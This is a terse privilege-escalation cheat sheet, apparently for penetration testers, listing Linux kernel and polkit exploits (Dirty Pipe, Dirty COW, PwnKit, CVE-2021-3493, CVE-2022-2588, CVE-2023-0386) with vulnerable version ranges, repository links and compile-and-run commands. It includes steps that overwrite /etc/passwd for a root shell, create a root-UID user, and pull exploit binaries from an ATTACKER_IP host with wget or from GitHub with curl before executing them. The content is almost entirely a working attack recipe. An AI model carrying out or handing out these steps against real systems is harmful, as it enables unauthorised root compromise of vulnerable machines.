Kernel Exploits

uname -r → check kernel version → find exploit → compile → execute

https://github.com/The-Z-Labs/linux-exploit-suggester

# Transfer to target
wget http://ATTACKER_IP/les.sh
chmod +x les.sh
./les.sh

https://github.com/jondonas/linux-exploit-suggester-2

perl linux-exploit-suggester-2.pl

uname -r
# Vulnerable: 5.8 <= kernel < 5.16.11

https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits

gcc exploit-1.c -o exploit
./exploit
# Overwrites /etc/passwd → root shell

gcc exploit-2.c -o exploit
./exploit /usr/bin/su

uname -r
# Vulnerable: 2.6.22 <= kernel < 4.8.3 (patched in 4.8.3 / 4.7.9 / 4.4.26)

https://github.com/firefart/dirtycow

gcc -pthread dirty.c -o dirty -lcrypt
./dirty newpassword
# Creates user 'toor' with root UID (firefart is the author's handle, not the username)
su toor

https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

gcc -pthread cowroot.c -o cowroot
./cowroot

pkexec --version
# Vulnerable: polkit < 0.120

https://github.com/ly4k/PwnKit

curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit -o PwnKit
chmod +x PwnKit
./PwnKit

https://github.com/arthepsy/CVE-2021-4034

gcc cve-2021-4034.c -o pwnkit
./pwnkit

# Vulnerable: Ubuntu 14.04 - 20.10
https://github.com/briskets/CVE-2021-3493

gcc exploit.c -o exploit
./exploit

https://github.com/Markakd/CVE-2022-2588

gcc exploit.c -o exploit -lpthread
./exploit

https://github.com/xkaneiki/CVE-2023-0386

make all
# Terminal 1
./fuse ./ovlcap/lower ./gc
# Terminal 2
./exp

# Match target architecture
gcc -static -o exploit exploit.c
# Transfer to target
python3 -m http.server 80

wget http://ATTACKER_IP/exploit
chmod +x exploit
./exploit